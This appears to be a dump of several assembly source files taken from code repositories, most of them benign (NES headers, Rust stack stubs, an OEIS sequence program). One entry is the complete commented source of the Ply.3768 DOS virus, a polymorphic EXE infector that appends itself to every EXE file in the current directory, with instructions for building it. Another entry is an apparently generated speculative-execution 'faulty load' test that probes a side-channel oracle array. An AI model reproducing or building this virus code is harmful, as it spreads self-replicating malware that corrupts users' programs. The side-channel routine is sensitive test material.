max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
const.asm
yignoth/x16-pminer
2
97466
L0_MAP_WIDTH = 32 L0_MAP_HEIGHT = 32 L1_MAP_WIDTH = 64 L1_MAP_HEIGHT = 32 VIEWPORT_WIDTH = 28 VIEWPORT_HEIGHT = 28 TERRAIN_MAP_WIDTH = 1024 ; code in s_lander require this be multiple of 256 TERRAIN_HEIGHT_ADDR = $A000 TERRAIN_CHAR_ADDR = (TERRAIN_HEIGHT_ADDR + TERRAIN_MAP_WIDTH) TERRAIN_ORE_ADDR = (TERRAIN_CHAR_ADDR + TERRAIN_MAP_WIDTH) ; Terrain tile map codes BRICK_NONE = $20 BRICK_SOLID = $21 BRICK_LEFT = $22 BRICK_RIGHT = $23 BRICK_TOP = $24 BRICK_PIT = $25
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
fengjixuchui/Family
3
246694
<gh_stars>1-10 comment * Ply.3768 Disassembly by Darkman/VLAD Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every file in current directory, when executed, by appending the virus to the infected file. Ply.3768 has an error handler, anti-heuristic techniques and is polymorphic in file using its internal polymorphic engine. To compile Ply.3768 with Turbo Assembler v 4.0 type: TASM /m PLY_3768.ASM TLINK /t /x PLY_3768.OBJ * .model tiny .code org 100h ; Origin of Ply.3768 code_begin: delta_offset equ $+01h ; Delta offset mov bp,100h ; BP = delta offset poly_begin: mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop mov es,ax ; ES = " " nop mov ax,100h ; AX = offset of beginning of code sub bp,ax ; Subtract offset of beginning of ... nop sti ; Set interrupt-enable flag nop nop cld ; Clear direction flag nop nop lea si,poly_begin ; SI = offset of poly_begin add si,bp ; Add delta offset nop mov cx,(poly_end-poly_begin)/03h poly_loop: in al,40h ; AL = 8-bit random number nop and al,00000111b ; AL = random number between zero ... nop push cx ; Save CX at stack nop nop push si ; Save SI at stack nop nop cmp al,00h ; Prepend a NOP to the opcode? nop jne test_append ; Not equal? Jump to test_append nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop je dont_poly ; Equal? Jump to dont_poly nop mov al,[si+02h] ; AL = third byte of three-byte block cmp al,90h ; NOP (opcode 90h) nop jne dont_poly ; Not equal? Jump to dont_poly nop mov ax,[si] ; AX = first word of three-bytes b... nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx+01h],ax ; Store first word of three-bytes ... cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8 ; Equal? Jump to dec_imm8 nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne prepend_nop ; Not equal? Jump to prepend_nop nop dec_imm8: dec byte ptr [bx+02h] ; Decrease 8-bit immediate prepend_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx],al ; Prepend a NOP to the opcode nop mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly: jmp test_loop test_append: cmp al,01h ; Append a NOP to the opcode? nop jne test_create ; Not equal? Jump to test_create nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne dont_poly_ ; Not equal? Jump to dont_poly_ nop mov ax,[si+01h] ; AX = second word of three-bytes ... lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],ax ; Store second word of three-bytes... nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8_ ; Equal? Jump to dec_imm8_ nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne append_nop ; Not equal? Jump to append_nop nop dec_imm8_: inc byte ptr [bx+01h] ; Decrease 8-bit immediate append_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx+02h],al ; Append a NOP to the opcode mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly_: jmp test_loop test_create: cmp al,02h ; Create a CALL imm16 to the opcode? nop jne delete_call ; Not equal? Jump to delete_call nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_call ; Not equal? Jump to create_call nop mov al,ah ; AL = second byte of three-bytes ... nop create_call: cmp al,0e9h ; JMP imm16 (opcode 0e9h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0c3h ; RET (opcode 0c3h) nop je call_exit ; Equal? Jump to call_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je call_exit ; Equal? Jump to call_exit nop cmp al,50h ; PUSH reg16/POP reg16? nop je call_exit ; Equal? Jump to call_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0c3h ; RET (opcode 0c3h) nop stosb ; Store RET nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop mov al,0e8h ; CALL imm16 (opcode 0e8h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a CALL imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop call_exit: jmp test_loop delete_call: cmp al,03h ; Delete previously created CALL i... nop jne test_create_ ; Not equal? Jump to test_create_ nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e8h ; CALL imm16 (opcode 0e8h)? nop jne call_exit_ ; Not equal? Jump to call_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb call_exit_ ; Below? Jump to call_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop call_exit_: jmp test_loop test_create_: cmp al,04h ; Create a JMP imm16 to the opcode? nop jne delete_jmp ; Not equal? Jump to delete_jmp nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_jmp ; Not equal? Jump to create_jmp nop mov al,ah ; AL = second byte of three-bytes ... nop create_jmp: cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je jmp_exit ; Equal? Jump to jmp_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je jmp_exit ; Equal? Jump to jmp_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop stosb ; Store JMP imm16 nop nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop neg ax ; Negate AX nop sub ax,02h ; Subtract two from 16-bit immediate stosw ; Store 16-bit immediate nop nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a JMP imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop jmp_exit: jmp test_loop nop delete_jmp: cmp al,05h ; Delete previously created JMP im... nop jne test_loop ; Not equal? Jump to test_loop nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop jne jmp_exit_ ; Not equal? Jump to jmp_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb jmp_exit_ ; Below? Jump to jmp_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop jmp_exit_: jmp test_loop nop test_loop: pop si ; Load SI from stack nop nop pop cx ; Load CX from stack nop nop mov ax,03h ; AX = size of block add si,ax ; SI = offset of next three-byte b... nop dec cx ; Decrease CX nop nop jz poly_exit ; Zero? Jump to poly_exit nop jmp poly_loop poly_exit: jmp prepare_exit nop get_poly_off proc near ; Get random offset of polymorphic... in al,40h ; AL = 8-bit random number nop mov ah,al ; AH = " " " nop in al,40h ; AL = 8-bit random number nop mov di,ax ; DI = 16-bit random number nop mov ax,(poly_end-poly_begin)/03h get_rnd_num: sub di,ax ; Subtract number of polymorphic b... nop cmp di,ax ; Too large a 16-bit random number? nop jae get_rnd_num ; Above or equal? Jump to get_rnd_num nop mov ax,di ; AX = 16-bit random number within... nop add di,ax ; Add number of polymorphic blocks nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop lea ax,poly_blocks ; AX = offset of poly_blocks add di,ax ; Add offset of poly_blocks to ran... nop add di,bp ; Add delta offset nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop cmp [di],ax ; Offset already in use? nop jne get_poly_off ; Not equal? Jump to get_poly_off nop ret ; Return! nop nop endp prepare_exit: lea si,file_header ; SI = offset of file_header add si,bp ; Add delta offset nop lea di,instruct_ptr ; SI = offset of instruct_ptr add di,bp ; Add delta offset nop mov ax,[si+14h] ; AX = instruction pointer stosw ; Store instruction pointer nop nop mov ax,[si+16h] ; AX = code segment stosw ; Store code segment nop nop mov ax,[si+0eh] ; AX = stack segment stosw ; Store stack segment nop nop mov ax,[si+10h] ; AX = stack pointer stosw ; Store stack pointer nop nop mov ah,1ah ; Set disk transfer area address nop lea dx,dta ; DX = offset of dta add dx,bp ; Add delta offset nop mov di,dx ; DI = offset of dta nop int 21h nop mov ax,3524h ; Get interrupt vector 24h int 21h nop push bx ; Save BX at stack nop nop mov ax,es ; ES = segment of interrupt 24h nop push ax ; Save AX at stack nop nop mov ax,cs ; AX = code segment nop mov es,ax ; ES = " " nop mov ax,2524h ; Get interrupt vector 24h lea dx,int24_virus ; DX = offset of int24_virus add dx,bp ; Add delta offset nop int 21h nop mov ax,(4e00h+2020h) ; Find first matching file sub ax,2020h mov cx,0000000000000111b lea dx,file_specifi ; DX = offset of file_specifi add dx,bp ; Add delta offset nop mov bx,dx ; BX = offset of file_specifi nop mov al,'E' nop mov [bx+02h],al ; Correct the file specification find_next: int 21h nop jnc open_file ; No error? Jump to open_file nop pop ax ; Load AX from stack nop nop mov ds,ax ; DS = segment of interrupt 24h nop pop dx ; Load DX from stack nop nop mov ax,2524h ; Set interrupt vector 24h int 21h nop mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop mov ah,62h ; Get current PSP address nop int 21h nop mov ds,bx ; DS = segment of PSP for current ... nop mov ah,1ah ; Set disk transfer area address nop mov dx,80h ; DX = offset of default disk tran... int 21h nop mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop jmp virus_exit open_file: mov al,'V' nop mov [bx+02h],al ; Correct the file specification mov ax,3d00h ; Open file (read) lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ah,3fh ; Read from file nop mov dx,si ; DX = offset of file_header nop mov cx,1ah ; Read twenty-six bytes int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,('ZM'+2020h) ; EXE signature sub ax,2020h cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop xchg ah,al ; Exchange EXE signature nop cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop jmp_find_nxt: mov ax,(4f00h+2020h) ; Find next matching file sub ax,2020h jmp find_next nop examine_file: mov ax,2020h cmp [si+12h],ax ; Already infected? je jmp_find_nxt ; Equal? Jump to jmp_find_nxt nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h xor cx,cx ; CX = new file attributes nop lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ax,(3d02h+2020h) ; Open file (read/write) sub ax,2020h lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,(code_end-code_begin) lea dx,code_begin ; DX = offset of code_begin add dx,bp ; Add delta offset nop int 21h nop mov ax,[si+08h] ; AX = header size in paragraphs mov cl,04h ; Multiply by paragraphs nop shl ax,cl ; AX = header size nop push bx ; Save BX at stack nop nop xchg ax,bx ; BX = header size nop nop mov ax,[di+1ah] ; AX = low-order word of filesize mov dx,[di+1ch] ; DX = high-order word of filesize push ax ; Save AX at stack nop nop push dx ; Save DX at stack nop nop sub ax,bx ; Subtract header size from filesize nop sbb dx,00h ; Convert to 32-bit mov cx,10h div cx ; Divide by paragraphs nop mov [si+14h],dx ; Store instruction pointer mov [si+16h],ax ; Store code segment lea bx,delta_offset ; BX = offset of delta_offset add bx,bp ; Add delta offset nop mov [bx],dx ; Store delta offset nop inc ax ; Increase AX nop nop mov [si+0eh],ax ; Store stack segment mov ax,(code_end-code_begin+0c0h) add dx,ax ; DX = stack pointer nop mov ax,1111111111111110b and dx,ax ; DX = " " nop mov [si+10h],dx ; Store stack pointer mov ax,2020h ; AX = infection mark mov [si+12h],ax ; Store infection mark pop dx ; Load DX from stack nop nop pop ax ; Load AX from stack nop nop add ax,(code_end-code_begin) adc dx,00h ; Convert to 32-bit mov cl,09h nop push ax ; Save AX at stack nop nop shr ax,cl ; Multiply by pages nop ror dx,cl ; " " " nop stc ; Set carry flag nop nop adc dx,ax ; DX = total number of 512-bytes p... nop pop ax ; Load AX from stack nop nop and ah,00000001b mov [si+04h],dx ; Store totalt number of 512-bytes... mov [si+02h],ax ; Number of bytes in last 512-byte... pop bx ; Load BX from stack nop nop mov ax,4201h ; Set current file position (CFP) mov cx,-01h mov dx,-(code_end-delta_offset) int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,02h ; Write two bytes lea dx,delta_offset ; DX = offset of delta_offset add dx,bp ; Add delta offset nop int 21h nop mov ax,4200h ; Set current file position (SOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,1ah ; Write twenty-six bytes mov dx,si ; DX = offset of file_header nop int 21h nop mov ax,(5701h-2020h) ; Set file's date and time add ax,2020h mov cx,[di+16h] ; CX = file time mov dx,[di+18h] ; DX = file date int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h mov ch,00h ; Zero CH nop mov cl,[di+15h] ; CL = file attribute lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ah,4fh ; Find next matching file nop jmp find_next int24_virus proc near ; Interrupt 24h of Ply.3768 mov al,03h ; Fail system call in progress nop jmp int24_exit nop endp virus_exit: mov ah,62h ; Get current PSP address nop int 21h nop mov es,bx ; ES = segment of PSP for current ... nop mov cx,bx ; CX = " " " " " " nop add cx,10h ; CX = segment of beginning of code lea si,instruct_ptr ; SI = offset of instruct_ptr add si,bp ; Add delta offset nop add [si+02h],cx ; Add segment of beginning of code... add cx,[si+04h] ; Add original stack segment to se... cli ; Clear interrupt-enable flag nop nop xor ax,ax ; Zero AX nop poly_end: mov sp,[si+06h] ; SP = stack pointer mov ss,cx ; SS = stack segment sti ; Set interrupt-enable flag push ax ; Save AX at stack mov ds,bx ; DS = segment of PSP for current ... db 0eah ; JMP imm32 (opcode 0eah) instruct_ptr dw ? ; Instruction pointer code_seg dw ? ; Code segment stack_seg dw ? ; Stack segment stack_ptr dw ? ; Stack pointer int24_exit: iret ; Interrupt return! db 00h,00h file_specifi db '*.VXE',00h ; File specification file_header dw 0ah dup(?),00h,0fff0h,? db 00h poly_buffer db 03h dup(?) ; Polymorphic buffer poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) code_end: dta: db 15h dup(?) ; Used by DOS for find next-process file_attr db ? ; File attribute file_time dw ? ; File time file_date dw ? ; File date filesize dd ? ; Filesize filename db 0dh dup(?) ; Filename data_end: end code_begin
header/000/NROM-368.asm
freem/nes_corelib
16
14672
; NROM-368: 46KB PRG-ROM + 8KB CHR-ROM ; http://wiki.nesdev.com/w/index.php/NROM-368 ; An unofficial configuration that allows up to 46KB of ROM instead of 32. ; Important Note! ; "The PRG ROM is 47104 bytes in size. Due to constraints of the iNES format, ; it is padded at the beginning with 2048 bytes of ignored data so that it is ; an even multiple of 16384 bytes; the rest is loaded in order into $4800-$7FFF, ; $8000-$BFFF, and $C000-$FFFF." ;------------------------------------------------------------------------------; ; NROM mirroring is hardwired via solder pads. ; %0000 = Horizontal ; %0001 = Vertical MIRRORING = %0001 ; Mapper 000 (NROM-368) iNES header .byte "NES",$1A .byte $03 ; 3x 16K PRG banks (just under 48K) .byte $01 ; 1x 8K CHR banks .byte $00|MIRRORING ; flags 6 .byte $00 ; flags 7 .byte $00 ; no PRG RAM .dsb 7, $00 ; clear the remaining bytes
maistra/vendor/proxy_wasm_cpp_host__psm__0_1_12/src/arch/aarch64_armasm.asm
knm3000/proxy
122
24752
<reponame>knm3000/proxy AREA |.text|, CODE, READONLY GLOBAL |rust_psm_stack_direction| ALIGN 4 |rust_psm_stack_direction| PROC orr w0, wzr, #2 ret ENDP GLOBAL |rust_psm_stack_pointer| ALIGN 4 |rust_psm_stack_pointer| PROC mov x0, sp ret ENDP GLOBAL |rust_psm_replace_stack| ALIGN 4 |rust_psm_replace_stack| PROC mov sp, x2 br x1 ENDP GLOBAL |rust_psm_on_stack| ALIGN 4 |rust_psm_on_stack| PROC stp x29, x30, [sp, #-16]! mov x29, sp mov sp, x3 blr x2 mov sp, x29 ldp x29, x30, [sp], #16 ret ENDP END
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2_notsx.log_420_673.asm
ljhsiun2/medusa
9
99973
<filename>Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2_notsx.log_420_673.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x15f15, %r12 add $30813, %rdx movw $0x6162, (%r12) nop nop nop nop inc %r8 lea addresses_A_ht+0x19c95, %r12 nop nop nop nop cmp $56820, %rdi movb $0x61, (%r12) nop nop inc %rdi lea addresses_normal_ht+0x16e65, %rdi nop sub $4602, %r13 and $0xffffffffffffffc0, %rdi movaps (%rdi), %xmm3 vpextrq $1, %xmm3, %r12 nop inc %rdi lea addresses_D_ht+0x14d95, %rsi lea addresses_UC_ht+0xd862, %rdi nop nop inc %r8 mov $62, %rcx rep movsq nop inc %rsi lea addresses_WT_ht+0x113bd, %rdx nop nop nop dec %r13 mov (%rdx), %r8w nop nop and $36109, %rcx lea addresses_normal_ht+0x1d2d5, %r9 add $11818, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm5 movups %xmm5, (%r9) nop nop nop nop cmp %r13, %r13 lea addresses_WC_ht+0xada5, %rcx nop nop nop nop and %rdx, %rdx mov (%rcx), %r9w nop dec %rdx lea addresses_WC_ht+0x1543d, %r10 xor $33444, %rcx movl $0x61626364, (%r10) nop and %r13, %r13 lea addresses_D_ht+0x10b35, %rsi lea addresses_normal_ht+0x1c5a5, %rdi nop nop nop nop add %r10, %r10 mov $37, %rcx rep movsq nop nop nop nop and %rcx, %rcx lea addresses_WC_ht+0x1d283, %r9 nop nop nop xor %rcx, %rcx mov (%r9), %di nop nop nop dec %r9 lea addresses_WC_ht+0x2615, %r10 nop nop add $5497, %r8 mov (%r10), %di nop nop nop nop nop mfence lea addresses_D_ht+0xd255, %rsi nop nop nop nop nop add $10750, %rdi and $0xffffffffffffffc0, %rsi movaps (%rsi), %xmm5 vpextrq $0, %xmm5, %r10 nop xor $19538, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi // Load lea addresses_D+0x12d15, %rbx nop nop xor %r9, %r9 mov (%rbx), %r14w nop nop dec %r9 // Store lea addresses_PSE+0x3895, %rbx and %rdi, %rdi movb $0x51, (%rbx) nop xor %rbx, %rbx // REPMOV lea addresses_D+0x3215, %rsi lea addresses_D+0x12fed, %rdi nop nop nop nop and $38556, %r14 mov $121, %rcx rep movsb nop nop nop nop nop lfence // Load mov $0x4d5, %rcx nop nop nop nop nop and %r9, %r9 vmovups (%rcx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdx nop nop sub %r9, %r9 // Store lea addresses_D+0x3215, %r10 nop nop and %rsi, %rsi movl $0x51525354, (%r10) nop nop nop and %r9, %r9 // Store lea addresses_PSE+0x12015, %rcx add %rbx, %rbx mov $0x5152535455565758, %r14 movq %r14, %xmm3 vmovups %ymm3, (%rcx) nop sub $26619, %rsi // Faulty Load lea addresses_D+0x3215, %r14 nop and %rdi, %rdi movb (%r14), %bl lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_D', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'54': 420} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
alloy4fun_models/trashltl/models/5/6EF32pdtZuY6wmHF4.als
Kaixi26/org.alloytools.alloy
0
1525
<gh_stars>0 open main pred id6EF32pdtZuY6wmHF4_prop6 { all p : File | p in Trash since p in Trash } pred __repair { id6EF32pdtZuY6wmHF4_prop6 } check __repair { id6EF32pdtZuY6wmHF4_prop6 <=> prop6o }
programs/oeis/210/A210448.asm
jmorken/loda
1
5205
; A210448: Total number of different letters summed over all ternary words of length n. ; 0,3,15,57,195,633,1995,6177,18915,57513,174075,525297,1582035,4758393,14299755,42948417,128943555,387027273,1161475035,3485211537,10457207475,31374768153,94130595915,282404370657,847238277795,2541765165033,7625396158395,22876389801777,68629572058515 mov $3,1 lpb $0 sub $0,1 add $1,$3 mov $2,$1 add $2,$1 add $1,$2 mul $3,2 lpe
programs/oeis/125/A125836.asm
karttu/loda
1
28666
; A125836: Numbers whose base 8 or octal representation is 555555555......5. ; 0,5,45,365,2925,23405,187245,1497965,11983725,95869805,766958445,6135667565,49085340525,392682724205,3141461793645,25131694349165,201053554793325,1608428438346605,12867427506772845 lpb $0,1 add $4,$2 mov $3,$0 add $1,1 sub $2,$4 add $2,3 mov $5,$3 add $5,4 mul $1,4 add $2,2 sub $5,$2 mov $3,3 mul $1,2 mov $0,$5 sub $1,$3 lpe
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/constant2.adb
best08618/asylo
7
4340
<gh_stars>1-10 -- { dg-do run } -- { dg-options "-gnatVa" } with Constant2_Pkg1; use Constant2_Pkg1; procedure Constant2 is begin if Val then raise Program_Error; end if; end;
source/zcx/s-unwsea.ads
ytomino/drake
33
17353
